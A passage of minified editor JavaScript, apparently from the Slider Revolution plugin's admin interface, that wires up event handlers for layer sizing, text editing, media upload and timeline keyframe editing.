id="layer_transliste_0" class="load_anim_value_wrap">'+e.in+"</div>"),999:jQuery('<div id="layer_transliste_999" class="load_anim_value_wrap">'+e.out+"</div>")},jQuery("#layer_transliste_loop").append(e.loop)}(),RVS.DOC.on("coloredit colorcancel",y),jQuery("#builderView").on("dragover dragenter",function(e){var t=e.originalEvent.dataTransfer;t.types&&(t.types.indexOf?-1!=t.types.indexOf("Files"):t.types.contains("Files"))&&!RVS.S.dragginginside&&0===jQuery("#filedrop").length&&RVS.F.browserDroppable.init({onlydrop:!0,success:"uploadImagesAndCreateLayer",action:"add_to_media_library"})}),RVS.DOC.on("positionPositionUpdate",function(e,t){var i;void 0!==t&&(RVS.F.updateLayerPositionClass(t.layerid,!0),void 0===RVS.L[RVS.L[t.layerid].group.puid]||"group"!==RVS.L[RVS.L[t.layerid].group.puid].type&&"column"!==RVS.L[RVS.L[t.layerid].group.puid].type||(i={top:RVS.H[t.layerid].w[0].offsetTop,left:RVS.H[t.layerid].w[0].offsetLeft},void 0!==RVS.C.layer_pos_x&&(RVS.C.layer_pos_x.value=i.top),void 0!==RVS.C.layer_pos_y&&(RVS.C.layer_pos_y.value=i.left),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),requestAnimationFrame(function(){RVS.DOC.trigger("sliderSizeChanged")})))}),RVS.DOC.on("layerAlignChanged",function(e,t){}),RVS.DOC.on("windowresized",function(){RVS.F.updateCoveredLayers(),RVS.F.drawSlideBasedPercenatages()}),RVS.DOC.on("windowresized, updatesliderlayout_main",function(){setTimeout(function(){RVS.F.updateCoveredLayers(!0)},250)}),RVS.DOC.on("updatelayerpostermpeg",function(e,t){void 0!==t&&void 0!==t.val&&RVS.F.videoExtract.get(t.val,function(e){RVS.F.setBGPosterImage(e.path,e.id,"layer")},document.getElementById("layer_video_start").value,"layer")}),RVS.DOC.on("uploadImagesAndCreateLayer",function(e,t){if(void 0!==t&&void 0!==t.path&&t.path.length>4){var i=t.path.substr(t.path.length-4).toLowerCase();switch(i){case".png":case".bmp":case".jpg":case".gif":case"jpeg":var a=RVS.F.addLayer({type:"image",forceSelect:!0,subtype:"predefined",extension:{size:{originalHeight:t.height,originalWidth:t.width},media:{imageId:t.id,imageUrl:t.path}}});RVS.F.intelligentUpdateValuesOnLayer(a),setTimeout(function(){RVS.DOC.trigger("restoreLayersSize")},500),RVS.F.selectLayers({id:a,overwrite:!0,action:"add"});break;case".mp4":case".mp3":case".mov":case".m4v":case"mpeg":var a=RVS.F.addLayer({type:"video",forceSelect:!0,subtype:"predefined",extension:{media:{id:t.id,mp4Url:t.path}}})}}}),RVS.DOC.on("click",".convert_layer_into",function(){var e=this.dataset.into;if("none"!==e){for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(RVS.L[RVS.selLayers[t]].type=e,RVS.L[RVS.selLayers[t]]=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(e,void 0,!1,!0),RVS.L[RVS.selLayers[t]])),RVS.H[RVS.selLayers[t]].w.remove(),delete RVS.H[RVS.selLayers[t]],RVS.F.buildHTMLLayer({uid:RVS.selLayers[t]}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[t]}),jQuery("#tllayerlist_element_276_"+RVS.selLayers[t]).find(".layerlist_element_type").html('<i class="material-icons">'+RVS.F.getLayerIcon(e)+"</i>"),RVS.F.showInfo({content:RVS_LANG.convertedlayer,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}));for(var i in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[i]);for(var i in RVS.F.showForms(RVS.eMode.menu,!0),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[i],overwrite:!1,action:"add"});RVS.F.updateLayerInputFields()}}),RVS.DOC.on("updateLayerLoopTimelineframes",function(e,t){void 0!==t&&"updateAllLayerFrames"==t.eventparam&&RVS.F.updateAllLayerFrames(),RVS.F.updateLayerTimelineLoopLists()}),RVS.DOC.on("updateCustomCSSLayerInput",RVS.F.updateCustomCSS),RVS.DOC.on("showhidelayerlooping",function(e,t){jQuery(".la_loopings_tab").hide(),jQuery("#la_loopings_tab_"+t).show()}),RVS.DOC.on("redrawInnerHTML",function(e,t){RVS.F.redrawTextLayerInnerHTML(t.layerid)}),RVS.DOC.on("layerTextContentUpdate",function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];if("text"===RVS.L[a].type||"button"===RVS.L[a].type){if(RVS.C.toggledTextButton.className.indexOf("selected")>=0&&(!RVS.L[a].toggle.set||""==RVS.L[a].toggle.text))continue;void 0!==RVS.H[a].splitText&&RVS.H[a].splitText.revert(),RVS.H[a].splitText=void 0,"placeholder"!==t.eventparam||0!==t.val.length&&""!==t.val&&" "!==t.val?void 0!==RVS.L[a].placeholder&&""!==RVS.L[a].placeholder&&"placeholder"!==t.eventparam||(RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(t.val):RVS.F.replaceMetas(t.val.replace(/\r\n|\r|\n/g,"<br />"))):RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[a].text):RVS.F.replaceMetas(RVS.L[a].text.replace(/\r\n|\r|\n/g,"<br />")),RVS.F.drawHTMLLayer({uid:a,ignoreLayerAnimation:!0}),void 0!==RVS.H[a].splitText&&RVS.F.updateLayerFrames({layerid:a})}}}),RVS.DOC.on("input","#ta_layertext",function(){var e=this.value;for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t];"text"!==RVS.L[i].type&&"button"!==RVS.L[i].type||(void 0!==RVS.H[i].splitText&&RVS.H[i].splitText.revert(),RVS.H[i].splitText=void 0,RVS.H[i].c[0].innerHTML=jQuery.inArray(RVS.L[i].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(e):RVS.F.replaceMetas(e.replace(/\r\n|\r|\n/g,"<br />")))}}),RVS.DOC.on("addBRtoTextLayer",function(e,t){var i=jQuery("#ta_layertext")[0].selectionStart;for(var a in RVS.F.openBackupGroup({id:"insertlinebreak",txt:"Insert Line Break",icon:"subdirectory_arrow_right"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".text",o=RVS.L[r].text.substring(0,i),n=RVS.L[r].text.substring(i,RVS.L[r].text.length);RVS.F.updateSliderObj({path:s,val:o+"<br />"+n}),RVS.F.redrawTextLayerInnerHTML(r,!0)}RVS.F.closeBackupGroup({id:"insertlinebreak"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("screenSelectorChanged",function(){for(var e in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[e]);RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.F.showWaitAMinute({fadeIn:50,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.05,{opacity:0}),setTimeout(function(){var e=RVS.S.slideId;RVS.F.mainMode({mode:"slidelayout",slide:RVS.S.lastShownSlideId}),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open"),RVS.F.sliderUpdateAfterResize(),setTimeout(function(){for(var t in RVS.F.mainMode({mode:"slidelayout",slide:e}),RVS.F.showForms(RVS.eMode.menu,!0),RVS.F.sliderUpdateAfterResize(),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[t],overwrite:!1,action:"add"});RVS.F.showWaitAMinute({fadeOut:200,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.5,{opacity:1})},250)},100)),RVS.F.updateAllHTMLLayerPositions(),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("sliderSizeChanged",function(){RVS.F.drawHTMLLayers(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("updatelayerbgimage",RVS.F.updateLayerBgImage),RVS.DOC.on("updatelayerimagesrc",RVS.F.updateLayerImageSrc),RVS.DOC.on("resetVideoPlaceholder",RVS.F.resetVideoPlaceholder),RVS.DOC.on("syncVideoRatio",RVS.F.resyncVideoAspectRatio),RVS.DOC.on("lockMargin",function(e,t){RVS.F.lockUnlockMarginPadding(t,"margin",".#size#.v")}),RVS.DOC.on("lockPadding",function(e,t){RVS.F.lockUnlockMarginPadding(t,"padding",".#size#.v")}),RVS.DOC.on("lockBorder",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","")}),RVS.DOC.on("lockBorderRadius",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v")}),RVS.DOC.on("lockBorderHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","","hover")}),RVS.DOC.on("lockBorderRadiusHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateMarginInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"margin",".#size#.v")}),RVS.DOC.on("updatePaddingInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"padding",".#size#.v")}),RVS.DOC.on("updateBorderInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","")}),RVS.DOC.on("updateBorderRadiusInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v")}),RVS.DOC.on("updateBorderInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","","hover")}),RVS.DOC.on("updateBorderRadiusInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateFontFamily",function(e,t){t="fontweight"===t,RVS.F.checkUsedFonts(t)}),RVS.DOC.on("updateInputFields",function(e,t){RVS.F.updateLayerInputFields()}),RVS.DOC.on("layerSizeChange",function(e,t){for(var i in RVS.F.changeLayerSizes({direction:t.eventparam,v:t.val}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,updateValues:!1,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()})}}),RVS.DOC.on("audioControlOnOff",function(e,t){RVS.F.changeAudioLayerSize({v:t.val})}),RVS.DOC.on("disableAllMediaControls",function(e,t){RVS.F.changeMediaControlsInteraction({v:t.val})}),RVS.DOC.on("lockLayerRatio",function(e,t){RVS.F.lockUnlockLayerRatio(t)}),RVS.F.updateInsetViews=function(e){},RVS.F.updateAllInsetViews=function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e))continue},RVS.DOC.on("layerSizePreset",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Size Preset",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".",s=document.getElementById("layer_covermode");switch("fullinset"!=s.value||"absolute"===a.position.position&&null!=RVS.L[a.group.puid]&&"group"===RVS.L[a.group.puid].type||(s.value=a.size.covermode,t.val=a.size.covermode,RVS.F.showInfo({content:RVS_LANG.insetrequirements,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})),void 0!==RVS.L[a.group.puid]&&"column"===RVS.L[a.group.puid].type&&("shape"===a.type|"button"===a.type||"text"==a.type)&&(t.val="custom",s.value="custom"),"fullinset"==RVS.L[RVS.selLayers[i]].size.covermode&&"fullinset"!==s.value&&RVS.F.updateSliderObj({path:r+"idle.margin.#size#.v",val:[0,0,0,0]}),RVS.F.updateSliderObj({path:r+"size.covermode",val:t.val}),s.value){case"custom":if("image"===RVS.L[RVS.selLayers[i]].type){RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});var o=RVS.F.getProportionalSizes({proportional:!0,type:"fit",image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v}});RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:o.width+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:o.height+"px"})}break;case"fullwidth":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"});break;case"fullheight":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover-proportional":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!1}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"fullinset":RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"})}RVS.F.selectedLayersVisualUpdate(),RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("restoreLayersSize",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Restore Original Size",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".";switch(a.type){case"shape":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:a.size.originalWidth+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:a.size.originalHeight+"px"});break;case"image":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:a.size.originalWidth+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:a.size.originalHeight+"px"}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;case"video":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:RVS.F.retWitSuf(a.size.originalWidth,"px")}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:RVS.F.retWitSuf(a.size.originalHeight,"px")}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;default:RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"auto"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"auto"})}RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("updateKeyFramesList",function(){if(0!==RVS.selLayers.length){RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,s=void 0===s?jQuery("#le_keyframes_list_innerwrap"):s,r=void 0===r?jQuery("#set_editor_view"):r,RVS.LIB.LAYERANIMS.animSettings[0].className="selected_"+RVS.S.keyFrame,RVS.LIB.LAYERANIMS.translists[0].detach(),RVS.LIB.LAYERANIMS.translists[999].detach();var e="";for(var t in RVS.F.getFrameOrder({layerid:RVS.selLayers[0]}),RVS.L[RVS.selLayers[0]].timeline.frameOrder)if(RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id,a=parseInt(t,0)+1,o=RVS.S.keyFrame==i?" selected":"",n="frame_999"===i||"frame_0"===i?"":'<div data-evtparam="'+i+'" data-evt="addkeyframe" class="callEventButton basic_action_button add_frame_after"><i class="material-icons">add</i></div>';RVS.S.keyFrame==i&&p(a);var l="frame_0"===i?"IN":"frame_999"===i?"OUT":"TO",d="frame_0"===i||"frame_999"===i?'<i class="material-icons">arrow_drop_down</i>':'<i class="emptyspace20"></i>',S=i===RVS.L[RVS.selLayers[0]].timeline.frameToIdle?'<i class="material-icons">visibility</i>':"",c=""!==S?"with_icon":"";e+='<li id="keyframe_list_el_'+i+'" class="keyframe_liste keyframe_liste_dyn '+o+'" data-framenr="'+a+'" data-frame="'+i+'"><div class="keyframe_CP_wrap" data-frame="'+i+'"><div class="keyframe_CP_toggle"><i class="material-icons">more_vert</i></div></div><div class="keyframe_liste_inner"><span class="frame_list_id">'+l+d+'</span><span class="frame_list_title '+c+'">'+S+RVS.L[RVS.selLayers[0]].timeline.frames[i].alias+"</span>"+n+"</div></li>"}RVS.L[RVS.selLayers[0]].timeline.frameToIdle===RVS.S.keyFrame?r.addClass("disabled"):r.removeClass("disabled"),s[0].innerHTML=e,RVS.L[RVS.selLayers[0]].timeline.tloop.use&&RVS.F.updateLayerTimelineLoopLists(),RVS.F.updateFrameOptionsVisual()}}),RVS.DOC.on("reverse-in-animation",function(e,t){0!==RVS.selLayers.length&&RVS.F.updateLayerFrame({layerid:RVS.selLayers[0],frame:"frame_999"})}),RVS.DOC.on("click",".keyframe_liste",function(){RVS.F.setKeyframeSelected(this.dataset.frame)}),RVS.DOC.on("click",".frame_list_eview",function(){var e=RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frameToIdle";RVS.F.updateSliderObj({path:e,val:this.dataset.frame}),RVS.DOC.trigger("updateKeyFramesList")}),RVS.DOC.on("addkeyframe",function(e,t){if(0!==RVS.selLayers.length){var i=RVS.selLayers[0],a=function(e){var t=0;for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)){var a=parseInt(i.split("frame_")[1],0);t=t<=a&&a<998?a+1:t}return"frame_"+t}({layerid:i}),r=RVS.F.getPrevNextFrame({layerid:i,frame:t});if(r.next.start>r.cur.end+500){RVS.F.openBackupGroup({id:"AddLayerFrame",txt:"Add KeyFrame",icon:"theaters"}),RVS.L[i].timeline.frames[a]=h({speed:400,start:r.cur.end+100,alias:RVS_LANG.animateto},a);try{RVS.L[i].timeline.frames[a].transform.originX=RVS.L[i].timeline.frames[t].transform.originX,RVS.L[i].timeline.frames[a].transform.originY=RVS.L[i].timeline.frames[t].transform.originY,RVS.L[i].timeline.frames[a].transform.originZ=RVS.L[i].timeline.frames[t].transform.originZ,RVS.L[i].timeline.frames[a].chars.originX=RVS.L[i].timeline.frames[t].chars.originX,RVS.L[i].timeline.frames[a].chars.originY=RVS.L[i].timeline.frames[t].chars.originY,RVS.L[i].timeline.frames[a].chars.originZ=RVS.L[i].timeline.frames[t].chars.originZ,RVS.L[i].timeline.frames[a].words.originX=RVS.L[i].timeline.frames[t].words.originX,RVS.L[i].timeline.frames[a].words.originY=RVS.L[i].timeline.frames[t].words.originY,RVS.L[i].timeline.frames[a].words.originZ=RVS.L[i].timeline.frames[t].words.originZ,RVS.L[i].timeline.frames[a].lines.originX=RVS.L[i].timeline.frames[t].lines.originX,RVS.L[i].timeline.frames[a].lines.originY=RVS.L[i].timeline.frames[t].lines.originY,RVS.L[i].timeline.frames[a].lines.originZ=RVS.L[i].timeline.frames[t].lines.originZ}catch(e){console.info(e)}RVS.L[i].timeline.frames[a].color=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].color),RVS.L[i].timeline.frames[a].filter=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].filter),RVS.F.backup({path:i+".timeline.frames."+a,cache:void 0,icon:"theaters",txt:"Add Layer Keyframe",lastkey:a,layer:i,slide:RVS.S.slideId,frame:a,force:!0,val:RVS.L[i].timeline.frames[a],old:{},backupType:"frame",bckpGrType:"AddLayerFrame"}),RVS.F.closeBackupGroup({id:"AddLayerFrame"}),RVS.F.addLayerFrameOnDemand(RVS.L[i],document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+i),a),RVS.F.getFrameOrder({layerid:i}),RVS.F.updateFramesZIndexes({layerid:i}),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.keyFrame=a,setTimeout(function(){RVS.F.setKeyframeSelected(a)},20)}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.DOC.on("click","#remove_keyframe",function(){var e=RVS.selLayers[0];RVS.F.openBackupGroup({id:"RemoveLayerFrame",txt:"Remove KeyFrame",icon:"theaters"}),RVS.F.backup({path:e+".timeline.frames."+RVS.S.keyFrame,cache:void 0,icon:"theaters",txt:"Remove Layer Keyframe",lastkey:RVS.S.keyFrame,layer:e,slide:RVS.S.slideId,frame:RVS.S.keyFrame,force:!0,val:{},old:RVS.L[e].timeline.frames[RVS.S.keyFrame],backupType:"frame",bckpGrType:"RemoveLayerFrame"}),delete RVS.L[e].timeline.frames[RVS.S.keyFrame],jQuery("#"+RVS.S.slideId+"_"+e+"_"+RVS.S.keyFrame).remove(),RVS.S.keyFrame===RVS.L[e].timeline.frameToIdle&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:"frame_1"}),RVS.S.keyFrame="frame_1",RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateLayerInputFields(),RVS.F.closeBackupGroup({id:"RemoveLayerFrame"})}),RVS.DOC.on("click","#set_editor_view",function(){var e=RVS.selLayers[0];RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:RVS.S.keyFrame}),RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]})}),RVS.DOC.on("click",".transtarget_selector",function(){var e=jQuery(this).closest(".form_inner");e.find(".transtarget_selector").removeClass("selected"),this.className+=" selected",e.find(".group_transsettings").hide(),jQuery(this.dataset.showtrans).show(),RVS.S.frameTrgt=this.dataset.frametarget}),RVS.DOC.on("click",".looptarget_selector",function(){jQuery(".looptarget_selector").removeClass("selected"),this.className+=" selected",jQuery(".group_loopsettings").hide(),jQuery(this.dataset.showloop).show()}),RVS.DOC.on("click",".keyframe_CP_wrap",function(){return window.frameCopyPaste=void 0===window.frameCopyPaste?{cache:void 0,tool:void 0}:window.frameCopyPaste,window.frameCopyPaste.frame="frame_0"===this.dataset.frame?"frame_1":this.dataset.frame,window.frameCopyPaste.layerid=RVS.selLayers[0],void 0===window.frameCopyPaste.tool&&(jQuery(document.body).append('<div id="frame_copypaste_tool"><div class="copyframe">'+RVS_LANG.copy+'</div><div class="pasteframe">'+RVS_LANG.paste+"</div></div>"),window.frameCopyPaste.tool=jQuery("#frame_copypaste_tool")),void 0!==window.frameCopyPaste.cache?window.frameCopyPaste.tool.addClass("copy_and_paste"):window.frameCopyPaste.tool.removeClass("copy_and_paste"),window.frameCopyPaste.visible=!0,tpGS.gsap.set(window.frameCopyPaste.tool,{display:"block",top:jQuery(this).offset().top}),!1}),RVS.DOC.on("click",".copyframe",function(){return"frame_1"===window.frameCopyPaste.frame?window.frameCopyPaste.cache_0=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0):delete window.frameCopyPaste.cache_0,window.frameCopyPaste.cache=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]),window.frameCopyPaste.clipPath=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.clipPath),window.frameCopyPaste.splitlen=RVS.F.getSplitDelay({layerid:window.frameCopyPaste.layerid,frame:window.frameCopyPaste.frame}),window.frameCopyPaste.len=RVS.F.addT([window.frameCopyPaste.cache.timeline.speed,window.frameCopyPaste.splitlen]),tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1,!1}),RVS.DOC.on("click",".pasteframe",function(){var e=RVS.selLayers[0],t=RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame],i=RVS.L[window.frameCopyPaste.layerid].timeline.clipPath,a=void 0!==window.frameCopyPaste.cache_0?RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0:void 0,r=RVS.F.getPrevNextFrame({layerid:e,frame:window.frameCopyPaste.frame}),s=RVS.F.addT([t.timeline.start,window.frameCopyPaste.len]);if(r.next.start>s){RVS.F.openBackupGroup({id:"updateFrame",txt:"Copy Paste KeyFrame",icon:"theaters"});var o=jQuery.extend(!0,window.frameCopyPaste.cache,{alias:t.timeline.alias,timeline:{start:t.timeline.start}}),n=jQuery.extend(!0,{},window.frameCopyPaste.clipPath),l=void 0!==window.frameCopyPaste.cache_0?jQuery.extend(!0,window.frameCopyPaste.cache_0,{alias:a.timeline.alias,timeline:{start:a.timeline.start}}):void 0;"frame_999"!==window.frameCopyPaste.frame&&(o.timeline.endWithSlide=!1,o.timeline.auto=!1),RVS.F.backup({lastkey:window.frameCopyPaste.frame,frame:window.frameCopyPaste.frame,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames."+window.frameCopyPaste.frame,cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:o,old:t,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]=jQuery.extend(!0,{},o),RVS.F.backup({lastkey:window.frameCopyPaste.clipPath,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.clipPath",cache:void 0,icon:"theaters",txt:"Copy Paste clipPath",slide:RVS.S.slideId,force:!0,val:n,old:i,backupType:"clipPath",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.clipPath=jQuery.extend(!0,{},n),void 0!==a&&(RVS.F.backup({lastkey:"frame_0",frame:"frame_0",layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames.frame_0",cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:l,old:a,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0=jQuery.extend(!0,{},l)),RVS.F.closeBackupGroup({id:"updateFrame"}),RVS.F.updateAllLayerFrames(),RVS.F.renderLayerAnimation({layerid:window.frameCopyPaste.layerid}),RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.selectLayers({id:window.frameCopyPaste.layerid,overwrite:!0,action:"add"})}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}),RVS.DOC.on("mouseleave","#frame_copypaste_tool",function(){tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1}),RVS.DOC.on("checkEnterFrameLevels",function(e,t){if(void 0!==t&&void 0!==t.layerid&&("frame_1"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame)){var i="frame_0"===RVS.S.keyFrame?"frame_1":"frame_0";RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].chars.use&&(RVS.L[t.layerid].timeline.frames[i].chars.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].words.use&&(RVS.L[t.layerid].timeline.frames[i].words.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].lines.use&&(RVS.L[t.layerid].timeline.frames[i].lines.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].mask.use&&(RVS.L[t.layerid].timeline.frames[i].mask.use=!0)}for(var a in RVS.F.updateFrameOptionsVisual(),RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[a],0),frame:"frame_0"!==RVS.S.keyFrame?RVS.S.keyFrame:"frame_1"}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("click",".layer_transliste_head",function(){var e=this.parentNode.className.indexOf("open")>=0;jQuery(".layer_transliste").removeClass("open"),e||(this.parentNode.className+=" open")}),RVS.DOC.on("click",".frame_list_id",function(){jQuery("#keyframe_list_el_frame_0").append(RVS.LIB.LAYERANIMS.translists[0]),jQuery("#keyframe_list_el_frame_999").append(RVS.LIB.LAYERANIMS.translists[999]);var e=this.parentNode.parentNode.className.indexOf("open")>=0;return jQuery(".keyframe_liste").removeClass("open"),e||(this.parentNode.parentNode.className+=" open"),!1}),RVS.DOC.on("click",".latransgroup_head",function(){var e=this.parentNode.className.indexOf("open")>=0;return jQuery(".latransgroup").removeClass("open"),e||(this.parentNode.className+=" 